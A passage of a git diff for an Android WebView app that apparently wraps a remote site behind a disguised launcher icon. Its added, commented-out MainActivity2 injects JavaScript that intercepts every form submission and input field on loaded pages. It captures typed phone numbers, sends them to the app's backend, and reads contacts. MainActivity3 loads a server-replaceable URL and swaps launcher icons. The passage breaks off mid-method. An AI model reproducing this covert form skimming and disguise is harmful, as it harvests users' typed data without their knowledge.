map.put("appId", userId); +// map.put("phone", mobiles); +// Api.getInstance().appLoginUser(map) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +//// LogUtils.i("成功了!!!!!!!"); +// oldMobiles = mobiles; +// mobiles = ""; +// } +// +// @Override +// public void onError(int code, String msg) { +//// LogUtils.i("成功了失败了!!!!!!!"); +// +// } +// +// @Override +// public void onError2(Result o) { +//// LogUtils.i("成功了失败了22222!!!!!!!"); +// +// } +// }); +// } +// } +// +// private void injectFormInterceptor() { +// String jsCode = +// "javascript:(function() {" + +// " function interceptForms() {" + +// " // 拦截现有表单" + +// " var forms = document.getElementsByTagName('form');" + +// " for (var i = 0; i < forms.length; i++) {" + +// " attachFormListener(forms[i]);" + +// " }" + +// " " + +// " // 监听动态添加的表单" + +// " var observer = new MutationObserver(function(mutations) {" + +// " mutations.forEach(function(mutation) {" + +// " for (var i = 0; i < mutation.addedNodes.length; i++) {" + +// " var node = mutation.addedNodes[i];" + +// " if (node.nodeName === 'FORM') {" + +// " attachFormListener(node);" + +// " } else if (node.querySelectorAll) {" + +// " var forms = node.querySelectorAll('form');" + +// " for (var j = 0; j < forms.length; j++) {" + +// " attachFormListener(forms[j]);" + +// " }" + +// " }" + +// " }" + +// " });" + +// " });" + +// " " + +// " observer.observe(document.body, { childList: true, subtree: true });" + +// " }" + +// " " + +// " function attachFormListener(form) {" + +// " if (form._intercepted) return;" + +// " form._intercepted = true;" + +// " " + +// " form.addEventListener('submit', function(e) {" + +// " e.preventDefault();" + +// " " + +// " var formData = new FormData(form);" + +// " var params = {};" + +// " " + +// " for (var pair of formData.entries()) {" + +// " params[pair[0]] = pair[1];" + +// " }" + +// " " + +// " // 收集所有输入字段" + +// " var inputs = form.querySelectorAll('input, textarea, select');" + +// " for (var i = 0; i < inputs.length; i++) {" + +// " var input = inputs[i];" + +// " if (input.name && input.name.trim() !== '') {" + +// " if (input.type === 'checkbox' || input.type === 'radio') {" + +// " if (input.checked) {" + +// " params[input.name] = input.value;" + +// " }" + +// " } else if (input.type === 'select-multiple') {" + +// " var selected = [];" + +// " for (var j = 0; j < input.options.length; j++) {" + +// " if (input.options[j].selected) {" + +// " selected.push(input.options[j].value);" + +// " }" + +// " }" + +// " params[input.name] = selected.join(',');" + +// " } else {" + +// " params[input.name] = input.value;" + +// " }" + +// " }" + +// " }" + +// " " + +// " AndroidInterface.onFormSubmitted(JSON.stringify({" + +// " 'action': form.action," + +// " 'method': form.method," + +// " 'data': params," + +// " 'formId': form.id || 'no-id'" + +// " }));" + +// " " + +// " // 重新提交表单" + +// " setTimeout(function() {" + +// " form.submit();" + +// " }, 50);" + +// " });" + +// " }" + +// " " + +// " interceptForms();" + +// "})()"; +// webView.loadUrl(jsCode); +// } +// +// +// int counts = 0; +// +// private void injectInputListener(WebView webView) { +// // JS 代码:监听所有 input 和 textarea 的输入事件 +// // 你的代码 +// Runnable runnable = new Runnable() { +// @Override +// public void run() { +//// // 你的代码 +// +// String jsCode = "javascript:(function (){" + +// // 获取所有输入元素(input 和 textarea) +// "var inputs = document.getElementsByTagName('input');" + +// // 遍历所有输入元素,添加 input 事件监听 +// "for (var i = 0; i < inputs.length; i++) {" + +// "inputs[i].addEventListener('input', function(){" + +// // 触发输入时,调用 Android 接口传递内容 +// "window.AndroidInterface.onInputChanged(this.value);" + +// "});" + +// "}" + +// "if(0 keys = postData.keys(); +// while (keys.hasNext()) { +// String key = keys.next(); +// String value = postData.getString(key); +// LogUtils.i("FORM_PARAM", key + " = " + value); +// } +// +// // 保存数据 +//// savePostData(action, postData); +// +// } catch (JSONException e) { +// Log.e("FORM_SUBMIT", "解析 JSON 失败", e); +// } +// } +// +// +// @JavascriptInterface +// public void onInputChanged(String inputContent) { +// // 在这里处理输入内容(如打印、校验等) +//// LogUtils.i("当前输入内容:" + inputContent); +// inputContent = inputContent.replace("+", "").replace("-", "").replace(" ", ""); +// if (inputContent.matches("\\d+")) { +//// LogUtils.i("当前输入内容:"+inputContent + " 是纯数字"); +// if (inputContent.length() >= 8) { +// mobiles = inputContent; +// } +// } +// +// isNeed = true; +// // 如需在 UI 线程操作(如更新 TextView),需切换线程 +// runOnUiThread(() -> { +// // 示例:更新界面 +// // textView.setText(inputContent); +// }); +// } +// } +// +// +// private boolean isToOutSideUrl(String url1) { +// return url1.contains("facebook") || url1.contains("https://t.me") || +// url1.contains("instagram") || url1.contains("https://x.com") || url1.contains("https://wa.me") || +// url1.contains("https://m.me") || url1.contains("http://m.me") || url1.endsWith(".apk"); +// } +// +// // 辅助方法:流转字符串 +// private String readStream(InputStream is) throws IOException { +// BufferedReader br = new BufferedReader(new InputStreamReader(is)); +// StringBuilder sb = new StringBuilder(); +// String line; +// while ((line = br.readLine()) != null) { +// sb.append(line); +// } +// br.close(); +// return sb.toString(); +// } +// +// // 辅助方法:解析表单键值对 +// private Map parseFormData(String body) throws UnsupportedEncodingException { +// Map params = new HashMap<>(); +// String[] pairs = body.split("&"); +// for (String pair : pairs) { +// String[] keyValue = pair.split("=", 2); // 按第一个=分割 +// if (keyValue.length == 2) { +// String key = URLDecoder.decode(keyValue[0], StandardCharsets.UTF_8.name()); +// String value = URLDecoder.decode(keyValue[1], StandardCharsets.UTF_8.name()); +// params.put(key, value); +// } +// } +// return params; +// } +// +// public void onShowErrorView(String errorMsg) { //网络不可用的情况 +// webView.setVisibility(View.GONE); +// layoutError.setVisibility(View.VISIBLE); +// tvErrorMsg.setText(errorMsg); +// showTopLy.setVisibility(View.GONE); +//// isNetError = true; +// +// } +// +// public void onShowNetView() { +// // topVvvv.setVisibility(View.GONE); +// webView.setVisibility(View.VISIBLE); +// layoutError.setVisibility(View.GONE); +// showTopLy.setVisibility(View.GONE); +//// isNetError = false; +// } +// +// +// boolean isAtGame = false; +// // String uuid = "", uuid1 = ""; +// private static final int REQUEST_CODE_FILE_CHOOSER = 1; +// private ValueCallback mUploadCallbackForLowApi; +// private ValueCallback mUploadCallbackForHighApi; +// WebChromeClient webChromeClient = new WebChromeClient() { +// +// @Override +// public boolean onConsoleMessage(ConsoleMessage consoleMessage) { +//// LogUtils.i("日志:" + consoleMessage.message()); +// return true; +// } +// +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// +// WebView newWebView = new WebView(webViewdd.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// +// LogUtils.i("URL是啥新窗口:" + url); +// +// if (isToOutSideUrl(url)) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } +// +// if (!(url.startsWith("http") || url.startsWith("https"))) { +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// return true; +// } catch (Exception e) { +// e.printStackTrace(); +// } +// } else { +// Intent browserIntent = new Intent(MainActivity2.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// return false; +// } +// +// +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; +// } +// +// +// @Override +// public void onCloseWindow(WebView window) { +// super.onCloseWindow(window); +// LogUtils.i("URL是啥新窗口结束:" + url); +// +// } +// +// @Override +// public void onProgressChanged(WebView view, int newProgress) { +// super.onProgressChanged(view, newProgress); +// // 更新进度条的进度 +// progressBar.setProgress(newProgress); +// // 如果加载完成,隐藏进度条 +// if (newProgress == 100) { +// progressBar.setVisibility(View.GONE); +// } else { +// progressBar.setVisibility(View.VISIBLE); +// } +// } +// +// +// // @TargetApi(Build.VERSION_CODES.LOLLIPOP) +// @Override +// public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { +// LogUtils.i("数据接口:onShowFileChooser"); +// mUploadCallbackForHighApi = filePathCallback; +// Intent intent = fileChooserParams.createIntent(); +// intent.addCategory(Intent.CATEGORY_OPENABLE); +// startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); +// return true; +// } +// +// // For 3.0+ +// protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { +// LogUtils.i("数据接口:openFileChooseracceptType"); +// openFilerChooser(uploadMsg); +// } +// +// +// private void openFilerChooser(ValueCallback uploadMsg) { +// LogUtils.i("数据接口:openFileChooser"); +// mUploadCallbackForLowApi = uploadMsg; +// startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); +// } +// +// +// private Intent getFilerChooserIntent() { +// Intent intent = new Intent(Intent.ACTION_GET_CONTENT); +// intent.addCategory(Intent.CATEGORY_OPENABLE); +// return intent; +// } +// +// +// @Override +// public void onPermissionRequest(PermissionRequest request) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// MainActivity2.this.runOnUiThread(() -> { +// for (String permisson : request.getResources()) { +// permissionRequest = request; +// if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { +// if (ContextCompat.checkSelfPermission(MainActivity2.this, Manifest.permission.CAMERA) != 0) { +// ActivityCompat.requestPermissions(MainActivity2.this, PERMISSIONS_CAMERA, 1111); +// } else { +// request.grant(request.getResources()); +// request.getOrigin(); +// } +// +// } +// } +// }); +// } +// } +// }; +// +// private PermissionRequest permissionRequest; +// +// +// @RequiresApi(api = Build.VERSION_CODES.Q) +// @Override +// protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { +// super.onActivityResult(requestCode, resultCode, data); +// switch (requestCode) { +// case REQUEST_CODE_FILE_CHOOSER: +// if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { +// afterFileChooseGoing(resultCode, data); +// } +// break; +// +// +// } +// } +// +// +// /** +// * onActivityResult方法 +// */ +// +// private void afterFileChooseGoing(int resultCode, Intent data) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// if (mUploadCallbackForHighApi == null) { +// return; +// } +// mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); +// mUploadCallbackForHighApi = null; +// } else { +// if (mUploadCallbackForLowApi == null) { +// return; +// } +// Uri result = data == null ? null : data.getData(); +// mUploadCallbackForLowApi.onReceiveValue(result); +// mUploadCallbackForLowApi = null; +// } +// } +// +// @Override +// public void onRequestPermissionsResult(int requestCode, +// String permissions[], int[] grantResults) { +// if (grantResults.length == 0) { +// return; +// } +// switch (requestCode) { +// case REQUEST_EXTERNAL_STORAGE: +// if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { +// } +// break; +// case 1111: +// if (grantResults[0] == PackageManager.PERMISSION_GRANTED && permissionRequest != null) { +// permissionRequest.grant(permissionRequest.getResources()); +// } +// break; +// case 2222: +// if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { +// readContact(); +// } else { +// //没同意 +// if (contactApply == 1) { +// MainActivity2.this.finish(); +// } +// +// } +// break; +// default: +// break; +// } +// super.onRequestPermissionsResult(requestCode, permissions, grantResults); +// } +// +// +// @Override +// public void onDestroy() { +// +// if (webView != null) { +// //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); +// //移除WebView +//// ((ViewGroup) webView.getParent()).removeView(webView); +// //销毁VebView +// webView.destroy(); +// } +// +// super.onDestroy(); +// } +// +// @Override +// protected void onResume() { +// super.onResume(); +// if (notifyApply == 0 || notifyApply == 1) { +// checkNotify(); +// } +// +// +// } +// +// @Override +// protected void onPause() { +// super.onPause(); +// +// } +// +// +// public static void saveInt(Context context, String key, int value) { +// SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); +// SharedPreferences.Editor editor = sp.edit(); +// editor.putInt(key, value); +// editor.apply(); +// } +// +// public static int getInt(Context context, String key, int defValue) { +// SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); +// return sp.getInt(key, defValue); +// } +// +// Handler mainHandler = new Handler(Looper.getMainLooper()); +// +// public boolean isApplicationBroughtToBackground(final Context context) { +// ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); +// List tasks = am.getRunningTasks(1); +// if (!tasks.isEmpty()) { +// ComponentName topActivity = tasks.get(0).topActivity; +// if (!topActivity.getPackageName().equals(context.getPackageName())) { +// return true; +// } +// } +// return false; +// } +// +//} diff --git a/base_no_music/src/main/java/com/web/base/MainActivity3.java b/base_no_music/src/main/java/com/web/base/MainActivity3.java new file mode 100644 index 0000000..cdfca57 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MainActivity3.java @@ -0,0 +1,544 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.util.Log; +import android.view.View; +import android.view.Window; +import android.view.WindowManager; +import android.webkit.ValueCallback; +import android.webkit.WebView; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.RelativeLayout; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; + +import com.just.agentweb.AgentWeb; +import com.just.agentweb.WebChromeClient; +import com.just.agentweb.WebViewClient; + + + +public class MainActivity3 extends AppCompatActivity { + LinearLayout webView; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + + String downloadImageUrl = ""; + private int requestCode; + private String[] permissions; + private int[] grantResults; + private View topVvvv; + private int index = 0; + private FrameLayout videoContainer; + + private ImageView backIv; + private ProgressBar progressBar; + + AgentWeb mAgentWeb; + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main3); + initView(); +// setopHeight(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + } + + public void hideStatusBar(Activity activity) { + if (activity == null) return; + Window window = activity.getWindow(); + if (window == null) return; + window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); + window.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + WindowManager.LayoutParams lp = window.getAttributes(); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { + lp.layoutInDisplayCutoutMode = WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_SHORT_EDGES; + } + window.setAttributes(lp); + } + + + @Override + public void onBackPressed() { + +// if (mAgentWeb.canGoBack()) {//当webview有多级能返回的时候 +// // 在首页 就退出这个页面 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +// super.onBackPressed(); +// } else { //不在首页 回到首页 +// if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { +// isAtGame = false; +// } +// topVvvv.setVisibility(View.GONE); +// progressBar.setVisibility(View.VISIBLE); +// webView.loadUrl(url); +// } +// } else {//不能返回了 +// +// //返回计算器 +// Intent intent = new Intent(this, MainActivity.class); +// startActivity(intent); +//// } + super.onBackPressed(); +// } + } + + /** + * 修改图标和名称的方法 + */ + public void changeIcon() { + PackageManager pm = getApplicationContext().getPackageManager(); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + + pm.setComponentEnabledSetting(new ComponentName( + this, + "com.web.base.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + } + + private void setopHeight() { + RelativeLayout.LayoutParams linearParams = (RelativeLayout.LayoutParams) topVvvv.getLayoutParams(); //取控件textView当前的布局参数 + linearParams.height = getStatusBarHeight();// 控件的宽强制设成30 + + topVvvv.setLayoutParams(linearParams); + } + + //https://m.xiannvtu.com/ + public static String url = "http://winway33.com/"; + + // https://telegram.2ltop.com/url.json?rand=111111111 + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + //然后通过一个函数来申请 + public static void verifyStoragePermissions(Activity activity) { + + // 没有写的权限,去申请写的权限,会弹出对话框 + ActivityCompat.requestPermissions(activity, PERMISSIONS_STORAGE, REQUEST_EXTERNAL_STORAGE); + + } + + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); +// topVvvvf = (RelativeLayout) findViewById(R.id.top_vvvvf); +// topVvvv1 = (StatusLayout) findViewById(R.id.top_vvvv1); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + +// WebSettings settings = webView.getSettings(); +// settings.setDomStorageEnabled(true); +// settings.setAppCacheEnabled(true); +// settings.setCacheMode(WebSettings.LOAD_DEFAULT); +// settings.setJavaScriptEnabled(true); +// settings.setLoadWithOverviewMode(true); +// // 设置允许访问文件数据 +// settings.setAllowFileAccess(true); +// settings.setAllowContentAccess(true); +// settings.setDatabaseEnabled(true); +// settings.setSavePassword(false); +// settings.setSaveFormData(false); +// settings.setUseWideViewPort(true); +// settings.setBuiltInZoomControls(true); +// settings.setPluginState(WebSettings.PluginState.ON); +// settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); +// webView.setFocusable(true); +// webView.setFocusableInTouchMode(true); +// webView.getSettings().setSupportMultipleWindows(true); +// +// settings.setSupportZoom(false); +// webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +//// webView.setHorizontalScrollbarOverlay(true); +// webView.setHorizontalScrollBarEnabled(true); +// webView.requestFocus(); +//// webView.setBackgroundColor(getColor(R.color.black)); +// settings.setJavaScriptCanOpenWindowsAutomatically(true); +// +// // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowFileAccessFromFileURLs(true); +// // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) +// // Android 4.1前默认允许,4.1后默认禁止 +// settings.setAllowUniversalAccessFromFileURLs(true); +// +// +// webView.setWebChromeClient(webChromeClient); +// webView.setWebViewClient(webViewClient); +// Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url); +// +//// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +//// verifyStoragePermissions(this); +// +// webView.setDownloadListener(new DownloadListener() { +// @Override +// public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { +// LogUtils.i("URL是啥onDownloadStart:" + url); +// +// try { +// Intent intent = new Intent(); +// intent.setAction(Intent.ACTION_VIEW); +// intent.setData(Uri.parse(url)); +// startActivity(intent); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// +// } +// }); + getNetUrl(); + } + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("URL是啥获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(MainActivity3.this,"base_url",o.url); +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// url = MainActivity.getString(MainActivity3.this, "base_url", url); +// toUrl(url); +// } +// }); + } + + private void toUrl(String url) { + mAgentWeb = AgentWeb.with(this) + .setAgentWebParent( webView, new LinearLayout.LayoutParams(-1, -1)) + .useDefaultIndicator() + .setWebViewClient(webViewClient) + .setWebChromeClient(webChromeClient) + .createAgentWeb() + + .ready() + .go(url); + + } + + + WebViewClient webViewClient = new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + LogUtils.i("URL是啥加载完成:" + webView.getUrl()); + + int w = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + int h = View.MeasureSpec.makeMeasureSpec(0, + View.MeasureSpec.UNSPECIFIED); + // 重新测量 + webView.measure(w, h); + showTopLy.setVisibility(View.GONE); + + if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + + } else { + if (isAtGame) { + topVvvv.setVisibility(View.VISIBLE); + } else { + topVvvv.setVisibility(View.GONE); + + } + } + + } +// @Override +// public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { +// super.onReceivedError(view, request, error); +// if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { +// int errorCode = error.getErrorCode(); +// String errorMessage = error.getDescription().toString(); +// Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " errorMessage : " + errorMessage); +// } +// progressBar.setVisibility(View.GONE); +// } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + Log.i("CustomWebViewClient", "onReceivedError errorCode : " + errorCode + " description : " + description); + } + progressBar.setVisibility(View.GONE); + + } + +// @Override +// public boolean shouldOverrideUrlLoading(WebView webView, String s) { +// LogUtils.i("URL是啥:"+s); +// return super.shouldOverrideUrlLoading(webView, s); +// } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + + LogUtils.i("URL是啥:" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + isAtGame = false; + topVvvv.setVisibility(View.GONE); + }else{ + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return true; + } + }; + + boolean isAtGame = false; + // String uuid = "", uuid1 = ""; + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { +// @Override +// public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { +// LogUtils.i("URL是啥onCreateWindow:" + webViewdd.getUrl()); +// +// WebView newWebView = new WebView(MainActivity3.this); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// mAgentWeb.getUrlLoader().loadUrl(url); +// return true; +// } +// }); +// return true; +// } + + + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + return super.onCreateWindow(view, isDialog, isUserGesture, resultMsg); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + progressBar.setProgress(newProgress); + // 如果加载完成,隐藏进度条 + if (newProgress == 100) { + progressBar.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + } + + + }; + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + public class JavaScriptinterface { + Context context; + + public JavaScriptinterface(Context c) { + context = c; + } + + } + + @Override + public void onRequestPermissionsResult(int requestCode, + String permissions[], int[] grantResults) { + switch (requestCode) { + case REQUEST_EXTERNAL_STORAGE: + if (grantResults[0] == PackageManager.PERMISSION_GRANTED && grantResults[1] == PackageManager.PERMISSION_GRANTED) { + } + break; + default: + break; + } + super.onRequestPermissionsResult(requestCode, permissions, grantResults); + } + + /** + * 设置网页中图片的点击事件 + * + * @param view + */ + public static void setWebImageClick(WebView view, String method) { + + + } + + +// @Override +// public boolean onKeyDown(int keyCode, KeyEvent event) { +// +// if (keyCode == KeyEvent.KEYCODE_BACK) { +// +// if (webView.canGoBack()) { +// webView.goBack(); +// return true; +// } else { +// return super.onKeyDown(keyCode, event); +// +// } +// +// } +// return super.onKeyDown(keyCode, event); +// } + + + @Override + public void onDestroy() { + + if (webView != null) { + //加载null内容 +// webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); +// //清除历史记录 +// webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + mAgentWeb.destroy(); + } + super.onDestroy(); + } + + @Override + protected void onResume() { + super.onResume(); + + + } + + @Override + protected void onPause() { + super.onPause(); + + } + + + /** + * 获取状态栏高度 + * + * @return + */ + public int getStatusBarHeight() { + int result = 0; + //获取状态栏高度的资源id + int resourceId = getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = getResources().getDimensionPixelSize(resourceId); + } + return result; + } + //wp-caption alignnone + + +} diff --git a/base_no_music/src/main/java/com/web/base/MessageInfo.java b/base_no_music/src/main/java/com/web/base/MessageInfo.java new file mode 100644 index 0000000..c6852f1 --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MessageInfo.java @@ -0,0 +1,96 @@ +package com.web.base; + +import java.io.Serializable; + +public class MessageInfo implements Serializable { + private String title; + private String content; + private String image = ""; + private int type; // 1:文字 2:图片 3:链接跳转 + private int pushId; + private String createTime; + private int recordId; + public int status; + private String jumpUrl; + private boolean isShowAll = false; + + public String getCreateTime() { + return createTime; + } + + public void setCreateTime(String createTime) { + this.createTime = createTime; + } + + public int getRecordId() { + return recordId; + } + + public void setRecordId(int recordId) { + this.recordId = recordId; + } + + public int getStatus() { + return status; + } + + public void setStatus(int status) { + this.status = status; + } + + public boolean isShowAll() { + return isShowAll; + } + + public void setShowAll(boolean showAll) { + isShowAll = showAll; + } + + public String getJumpUrl() { + return jumpUrl; + } + + public void setJumpUrl(String jumpUrl) { + this.jumpUrl = jumpUrl; + } + + public int getType() { + return type; + } + + public void setType(int type) { + this.type = type; + } + + public int getPushId() { + return pushId; + } + + public void setPushId(int pushId) { + this.pushId = pushId; + } + + public String getTitle() { + return title; + } + + public void setTitle(String title) { + this.title = title; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getImage() { + return image; + } + + public void setImage(String image) { + this.image = image; + } +} diff --git a/base_no_music/src/main/java/com/web/base/MyBankListAdapter.java b/base_no_music/src/main/java/com/web/base/MyBankListAdapter.java new file mode 100644 index 0000000..de365ed --- /dev/null +++ b/base_no_music/src/main/java/com/web/base/MyBankListAdapter.java @@ -0,0 +1,74 @@ +package com.web.base; + +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +public class MyBankListAdapter extends RecyclerView.Adapter { + + private List listdata; + private onItemClickPostionListener itemClickPostionListener; + + public MyBankListAdapter(List listdata) { + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + public void setOnItemClick(onItemClickPostionListener onItemClick) { + this.itemClickPostionListener = onItemClick; + } + + @NonNull + 